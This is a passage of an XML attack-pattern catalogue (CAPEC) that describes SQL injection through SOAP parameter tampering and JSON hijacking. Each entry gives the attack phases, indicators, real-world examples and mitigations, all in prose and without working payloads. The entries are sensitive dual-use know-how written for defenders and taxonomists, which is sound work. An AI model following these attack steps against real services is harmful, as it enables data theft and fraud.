			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>69<!--Improper Handling of Windows ::DATA Alternate Data Stream--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>77<!--Improper Neutralization of Special Elements used in a Command ('Command Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>165<!--File Manipulation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>266<!--Manipulate Canonicalization--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Reconnaissance</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>Low</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>G. Hoglund</Reference_Author>
					<Reference_Author>G. McGraw</Reference_Author>
					<Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					<Reference_Publisher>Addison-Wesley</Reference_Publisher>
					<Reference_PubDate>February 2004</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code.
							Addison-Wesley, February 2004.</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-01-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Gunnar Peterson</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-28</Modification_Date>
						<Modification_Comment>Fleshed out content to CAPEC schema from the original
							descriptions in "Exploiting Software"</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-09</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Romain Gaucher</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2009-02-10</Modification_Date>
						<Modification_Comment>Created draft content for detailed
							description</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital Federal, Inc</Modifier_Organization>
						<Modification_Date>2009-04-13</Modification_Date>
						<Modification_Comment>Reviewed and revised content for detailed
							description</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="110" Name="SQL Injection through SOAP Parameter Tampering"
			Pattern_Abstraction="Standard" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker modifies the parameters of the SOAP message that is sent from
						the service consumer to the service provider to initiate a SQL injection
						attack. On the service provider side, the SOAP message is parsed and
						parameters are not properly validated before being used to access a database
						in a way that does not use parameter binding, thus enabling the attacker to
						control the structure of the executed SQL query. This pattern describes a
						SQL injection attack with the delivery mechanism being a SOAP
						message.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Detect Incorrect SOAP Parameter
											Handling</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker tampers with the SOAP message
												parameters and looks for indications that the
												tampering caused a change in behavior of the
												targeted application.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>The attacker tampers with the SOAP message
												parameters by injecting some special characters
												such as single quotes, double quotes, semi
												columns, etc. The attacker observes system
												behavior.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>SOAP messages are used as a communication
												mechanism in the system</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Any indication that the
												injected input is causing system trouble (e.g.
												stack traces are produced, the system does not
												respond, etc.) then the attacker may come to
												conclude that the system is vulnerable to SQL
												injection through SOAP parameter
												tampering.</Outcome_Description>
											</Outcome>
										</Outcomes>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="-1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Probe for SQL Injection
											vulernability</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker injects SQL syntax into vulnerable
												SOAP parameters identified during the Explore phase
												to search for unfiltered execution of the SQL syntax
												in a query.</Text>
										</Attack_Step_Description>
										<Indicators>
											<Indicator ID="1" type="Negative">
												<Indicator_Description>
												<Text>Attacker receives normal response from
												server.</Text>
												</Indicator_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Indicator>
											<Indicator ID="2" type="Positive">
												<Indicator_Description>
												<Text>Attacker receives an error message from
												server indicating that there was a problem with
												the SQL query.</Text>
												</Indicator_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Indicator>
											<Indicator ID="3" type="Negative">
												<Indicator_Description>
												<Text>Server sends a specific error message that
												indicates programmatic parsing of the input data
												(e.g. NumberFormatException)</Text>
												</Indicator_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>At least one SOAP parameter
												susceptible to injection
												found.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>No SOAP parameter susceptible
												to injection found.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Search for and alert
												on unexpected SQL keywords in application logs
												(e.g. SELECT, DROP,
												etc.).</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Input validation of
												SOAP parameter data before including it in a SQL
												query</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Use parameterized
												queries (e.g. PreparedStatement in Java, and
												Command.Parameters.Add() to set query parameters
												in .NET)</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="3" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Inject SQL via SOAP
											Parameters</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker injects SQL via SOAP parameters
												identified as vulnerable during Explore phase to
												launch a first or second order SQL injection
												attack.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>An attacker performs a SQL injection attack
												via the usual methods leveraging SOAP parameters
												as the injection vector. An attacker has to be
												careful not to break the XML parser at the service
												provider which may prevent the payload getting
												through to the SQL query. The attacker may also
												look at the WSDL for the web service (if
												available) to better understand what is expected
												by the service provider.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Attacker achieves goal of
												unauthorized system access, denial of service,
												etc.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>Attacker unable to exploit SQL
												Injection vulnerability.</Outcome_Description>
											</Outcome>
										</Outcomes>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>SOAP messages are used as a communication mechanism in the system</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>SOAP parameters are not properly validated at the service provider</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The service provider does not properly utilize parameter binding when
						building SQL queries</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Very High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
				<Method_of_Attack>Analysis</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>An attacker uses a travel booking system that leverages SOAP
							communication between the client and the travel booking service. An
							attacker begins to tamper with the outgoing SOAP messages by modifying
							their parameters to include characters that would break a dynamically
							constructed SQL query. He notices that the system fails to respond when
							these malicious inputs are injected in certain parameters transffered in
							a SOAP message. The attacker crafts a SQL query that modifies his
							payment amount in the travel system's database and passes it as one of
							the parameters . A backend batch payment system later fetches the
							payment amount from the database (the modified payment amount) and sends
							to the credit card processor, enabling the attacker to purchase the
							airfare at a lower price. An attacker needs to have some knowledge of
							the system's database, perhaps by exploiting another weakness that
							results in information disclosure.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>If the attacker is able to gain good understanding of the system's
							database schema; High: If the attacker has to perform SQL injection
							blindly</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>No specialized hardware resources are required</Text>
			</Resources_Required>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>Inject SQL characters in SOAP parameters and observe system
							behavior</Text>
					</Description>
				</Probing_Technique>
				<Probing_Technique>
					<Description>
						<Text>Review WSDL to understand what is expected by the service
							provider</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Properly validate and sanitize/reject user input at the service
						provider.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Ensure that prepared statements or other mechanism that enables parameter
						binding is used when accessing the database in a way that would prevent the
						attacker's supplied data from controlling the structure of the executed
						query.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>At the database level, ensure that the database user used by the
						application in a particular context has the minimum needed privileges to the
						database that are needed to perform the operation. When possible, run
						queries against pregenerated views rather than the tables directly.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Data Modification-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Denial of Service-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Unexpected State</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Run Arbitrary Code-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>89<!--Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>20<!--Improper Input Validation--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>66<!--SQL Injection--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>7<!--Blind SQL Injection--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>280<!--SOAP Parameter Tampering--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Relevant_Security_Requirements>
				<Relevant_Security_Requirement>
					<Text>Always safely access the database through prepared statements that
						leverage parameter binding</Text>
				</Relevant_Security_Requirement>
				<Relevant_Security_Requirement>
					<Text>Properly validate all SOAP parameters to ensure that their values are as
						expected</Text>
				</Relevant_Security_Requirement>
				<Relevant_Security_Requirement>
					<Text>Reject bad user input (do not try to sanitize it)</Text>
				</Relevant_Security_Requirement>
			</Relevant_Security_Requirements>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Defense in Depth</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Least Privilege</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Related_Guidelines>
				<Related_Guideline>
					<Text>Remember that the client can be made invisible</Text>
				</Related_Guideline>
			</Related_Guidelines>
			<Purposes>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>High</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>SOA</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Evgeny Lebanidze</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2008-01-12</Submission_Date>
						<Submission_Comment>Initial core pattern content</Submission_Comment>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital Federal, Inc.</Modifier_Organization>
						<Modification_Date>2009-04-20</Modification_Date>
						<Modification_Comment>Refinement of pattern content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="111" Name="JSON Hijacking (aka JavaScript Hijacking)"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker targets a system that uses JavaScript Object Notation (JSON)
						as a transport mechanism between the client and the server (common in Web
						2.0 systems using AJAX) to steal possibly confidential information
						transmitted from the server back to the client inside the JSON object by
						taking advantage of the loophole in the browser's Single Origin Policy that
						does not prohibit JavaScript from one website to be included and executed in
						the context of another website.</Text>
					<Text>An attacker gets the victim to visit his or her malicious page that
						contains a script tag whose source points to the vulnerable system with a
						URL that requests a response from the server containing a JSON object with
						possibly confidential information. The malicious page also contains
						malicious code to capture the JSON object returned by the server before any
						other processing on it can take place, typically by overriding the
						JavaScript function used to create new objects. This hook allows the
						malicious code to get access to the creation of each object and transmit the
						possibly sensitive contents of the captured JSON object to the attacker's
						server.</Text>
					<Text>There is nothing in the browser's security model to prevent the attacker's
						malicious JavaScript code (originating from attacker's domain) to set up an
						environment (as described above) to intercept a JSON object response (coming
						from the vulnerable target system's domain), read its contents and transmit
						to the attacker's controlled site. The single origin policy protects the
						domain object model (DOM), but not the JSON.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Understand How to Request JSON Responses
											from the Target System</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>An attacker first explores the target system to
												understand what URLs need to be provided to it in
												order to retrieve JSON objects that contain
												information of interest to the attacker.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>An attacker creates an account with the
												target system and observes requests and the
												corresponding JSON responses from the server.
												Understanding how to properly elicit responses
												from the server is crucial to the attacker's
												ability to craft the exploit.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Targeted application leverages JSON in its
												architecture.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Craft a malicious
											website</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker crafts a malicious website to which
												he plans to lure the victim who is using the
												vulnerable target system. The malicious website does
												two things:</Text>
											<Block Block_Nature="List">
												<Text>1. Contains a hook that intercepts incoming
												JSON objects, reads their contents and forwards
												the contents to the server controlled by the
												attacker (via a new XMLHttpRequest).</Text>
												<Text>2. Uses the script tag with a URL in the
												source that requests a JSON object from the
												vulnerable target system. Once the JSON object is
												transmitted to the victim's browser, the malicious
												code (as described in step 1) intercepts that JSON
												object, steals its contents, and forwards to the
												attacker.</Text>
											</Block>
											<Text>This attack step leverages the fact that the
												single origin policy in the browser does not protect
												JavaScript originating from one domain from setting
												up an environment to intercept and access JSON
												objects arriving from a completely different
												domain.</Text>
										</Attack_Step_Description>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The JSON object hook captures,
												reads and forwards JSON
												objects</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Success">
												<Outcome_Description>The malicious website
												effectively requests JSON objects from the target
												system</Outcome_Description>
											</Outcome>
										</Outcomes>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="3" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Launch JSON hijack</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>An attacker lures the victim to the malicious
												website or leverages other means to get his
												malicious code executing in the victim's browser.
												Once that happens, the malicious code makes a
												request to the victim target system to retrieve a
												JSON object with sensitive information. The request
												includes the victim's session cookie if the victim
												is logged in.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>An attacker employs a myriad of standard
												techniques to get the victim to visit his or her
												malicious site or by some other means get the
												attacker's malicious code executing in the
												victim's browser.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The sensitive contents of
												captured JSON objects are readable by the
												attacker.</Outcome_Description>
											</Outcome>
										</Outcomes>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>JSON is used as a transport mechanism between the client and the
						server</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The target server cannot differentiate real requests from forged
						requests</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The JSON object returned from the server can be accessed by the attacker's
						malicious code via a script tag</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Protocol Manipulation</Method_of_Attack>
				<Method_of_Attack>Analysis</Method_of_Attack>
				<Method_of_Attack>Spoofing</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Gmail service was found to be vulnerable to a JSON Hijacking attack
							that enabled an attacker to get the contents of the victim's address
							book. An attacker could send an e-mail to the victim's gmail account
							(which ensures that the victim is logged in to gmail when he or she
							receives it) with a link to the attacker's malicious site. If the victim
							clicked on the link, a request (containing the victim's authenticated
							session cookie) would be sent to the gmail servers to fetch the victim's
							address book. This functionality is typically used by the Gmail service
							to get this data on the fly so that the user can be provided a list of
							contacts from which to choose the recipient of the e-mail.</Text>
						<Text>When the JSON object with the contacts came back, it was loaded into
							the JavaScript space via a scipt tag on the attacker's malicious page.
							Since the JSON object was never assigned to a local variable (which
							would have prevented a scipt from a different domain accessing it due to
							the browser's single origin policy), another mechanism was needed to
							access the data that it contained. That mechanism was overwriting the
							internal array constructor with the attacker's own constructor in order
							to gain access to the JSON object's contents. These contents could then
							be transferred to the site controlled by the attacker.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Once this attack pattern is developed and understood, creating an
							exploit is not very complex.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>No specialized hardware resources are required. The attacker needs to have
					knowledge of the URLs that need to be accessed on the target system to request
					the JSON objects.</Text>
			</Resources_Required>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>Examine the typical asynchronous requests and responses between an
							AJAX client and the server to see how JSON objects are requested and
							what is returned.</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Ensure that server side code can differentiate between legitimate requests
						and forged requests. The solution is similar to protection against Cross
						Site Request Forger (CSRF), which is to use a hard to guess random nonce
						(that is unique to the victim's session with the server) that the attacker
						has no way of knowing (at least in the absense of other weaknesses). Each
						request from the client to the server should contain this nonce and the
						server should reject all requests that do not contain the nonce.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>On the client side, the system's design could make it difficult to get
						access to the JSON object content via the script tag. Since the JSON object
						is never assigned locally to a variable, it cannot be readily modified by
						the attacker before being used by a script tag. For instance, if while(1)
						was added to the beginning of the JavaScript returned by the server, trying
						to access it with a script tag would result in an infinite loop. On the
						other hand, legitimate client side code can remove the while(1) statement
						after which the JavaScript can be evaluated. A similar result can be
						achieved by surrounding the returned JavaScript with comment tags, or using
						other similar techniques (e.g. wrapping the JavaScript with HTML
						tags).</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Make the URLs in the system used to retrieve JSON objects unpredictable
						and unique for each user session.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Ensure that to the extent possible, no sensitive data is passed from the
						server to the client via JSON objects. JavaScript was never intended to play
						that role, hence the single origin policy does not adequate address this
						scenario.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>345<!--Insufficient Verification of Data Authenticity--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>346<!--Origin Validation Error--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>352<!--Cross-Site Request Forgery (CSRF)--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>184<!--Software Integrity Attacks--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>116<!--Data Excavation Attacks--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Relevant_Security_Requirements>
				<Relevant_Security_Requirement>
					<Text>Ensure that a mechanism is in place for the server side code to
						differentiate between legitimate requests and forged requests</Text>
				</Relevant_Security_Requirement>
				<Relevant_Security_Requirement>
					<Text>On the client side, ensure that the returned JavaScript from the server
						can only be evaluated locally after being assigned to a variable and not via
						a script tag</Text>
				</Relevant_Security_Requirement>
				<Relevant_Security_Requirement>
					<Text>Ensure that URLs used to request server responses that pass the JSON
						objects back to the client are hard to guess and are unique per user
						session</Text>
				</Relevant_Security_Requirement>
			</Relevant_Security_Requirements>
			<Related_Guidelines>
				<Related_Guideline>
					<Text>Do not pass confidential information in JSON objects</Text>
				</Related_Guideline>
			</Related_Guidelines>
			<Purposes>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>Low</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>AJAX</Language>
				</Languages>
			</Technical_Context>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Evgeny Lebanidze</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2008-01-12</Submission_Date>
						<Submission_Comment>Initial core pattern content</Submission_Comment>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital Federal, Inc.</Modifier_Organization>
						<Modification_Date>2009-04-20</Modification_Date>
						<Modification_Comment>Refinement of pattern content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="112" Name="Brute Force" Pattern_Abstraction="Standard"
